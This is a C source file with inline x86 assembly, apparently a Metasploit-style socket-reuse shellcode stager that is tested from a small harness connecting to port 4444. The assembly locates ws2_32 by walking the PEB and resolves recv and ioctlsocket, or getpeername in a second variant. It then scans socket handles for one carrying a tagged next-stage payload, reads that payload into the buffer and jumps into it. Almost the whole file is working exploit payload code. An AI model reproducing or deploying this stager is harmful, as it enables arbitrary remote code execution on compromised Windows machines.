#include #include void run_begin(); void run_end(); void main() { WSADATA data; char blah[16384]; memset(&data, 0, sizeof(data)); if (WSAStartup(0x0202, &data)) { printf("failed\n"); return; } { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in s; s.sin_family = AF_INET; s.sin_port = htons(4444); s.sin_addr.s_addr = 0x0100007f; connect(fd, (struct sockaddr *)&s, sizeof(s)); printf("fd = %.8x\n", fd); } printf("size = %lu\n", (ULONG)run_end - (ULONG)run_begin); run_begin(); } void __declspec(naked) run_begin() { __asm { find_ws2_32: cld // Reset direction flag xor edi, edi // Zero edi mov eax, fs:[edi + 0x30] // PEB in eax mov eax, [eax + 0xc] // LdrData in eax mov ebx, [eax + 0x1c] // Initialization order list in ebx loop_modules: mov ebx, [ebx] // Go to the next Flink mov esi, [ebx + 0x20] // BaseDllName->Buffer pointer in esi lodsd // Skip ws lodsd // Load \x32\x00\x5f\x00 into eax dec esi // Move esi back one to align characters (spoontastic) add eax, [esi] // Add 0x32003300 to 0x005f0032 to get 0x325f3332 cmp eax, 0x325f3332 // Does it match? jnz loop_modules // Nope, not ws2_32 mov ebp, [ebx + 0x8] // Base address in eax get_addresses: mov eax, [ebp + 0x3c] // PE offset in eax mov ecx, [ebp + eax + 0x78] // EDT in ecx mov ecx, [ebp + ecx + 0x1c] // Address table in ecx mov ebx, [ecx + ebp + 0x3c] // recv add ebx, ebp add ebp, [ecx + ebp + 0x24] // ioctlsocket push edi // Push NULL find_fd_loop: inc di // Next socket get_bytes_avail: mov esi, esp // Set esi to the current stack pointer push esi // Push pointer to hold number of bytes avail push 0x4004667f // Push FIONREAD push edi // Push the fd call ebp // Call ioctlsocket lodsd // Load the number of bytes read into eax test eax, eax // No bytes? jz find_fd_loop // Next fd recv_from_fd: // The number of bytes available for read is in eax, which you could // use if you could guarantee that the number of bytes available is the // total size of the next stage. This would save a few bytes. cdq // Zero out edx push edx // Push flags mov dh, 0x0c push edx push esi // Push buffer push edi // Push socket call ebx // Call recv lodsd // Load the tag cmp eax, 0x2166736d // Compare with 'msf!' jnz find_fd_loop // No match? Next. jmp esi // Jump into buf } } void __declspec(naked) run_end() { } #if GETPEERNAME __asm { int 3 find_ws2_32: cld // Reset direction flag xor edi, edi // Zero edi mov eax, fs:[edi + 0x30] // PEB in edi mov eax, [eax + 0xc] // LdrData in eax mov ebx, [eax + 0x1c] // Initialization order list in ebx loop_modules: mov ebx, [ebx] // Go to the next Flink mov esi, [ebx + 0x20] // BaseDllName->Buffer pointer in esi lodsd // Skip ws lodsd // Load \x32\x00\x5f\x00 into eax dec esi // Move esi back one to align characters (spoontastic) add eax, [esi] // Add 0x32003300 to 0x005f0032 to get 0x325f3332 cmp eax, 0x325f3332 // Does it match? jnz loop_modules // Nope, not ws2_32 mov ebp, [ebx + 0x8] // Base address in eax get_addresses: mov eax, [ebp + 0x3c] // PE offset in eax mov ecx, [ebp + eax + 0x78] // EDT in ecx mov ecx, [ebp + ecx + 0x1c] // Address table in ecx add ecx, ebp mov ebx, [ecx + 0x10] // getpeername add ebx, ebp mov esi, [ecx + 0x3c] // recv add esi, ebp mov ebp, esp // Save the sockaddr pointer push 0x10 // Push buffer length find_fd: inc edi // Increment socket handle push esp // Push pointer to buffer length push ebp // Push buffer push edi // Push socket handle call ebx // Call getpeername cmp word ptr [ebp+0x2], 0x5c11 // Does the port match? jnz find_fd // Nope, next. recv: push eax // Push zero mov ah, 0x20 // Set eax to 0x2000 push eax // Push 0x2000 push ebp // Push a stack buffer pointer (from above) push edi // Push the socket handle push ebp // Use the buffer as the return address (spoontastic) jmp esi // Jump into stage through recv call } #endif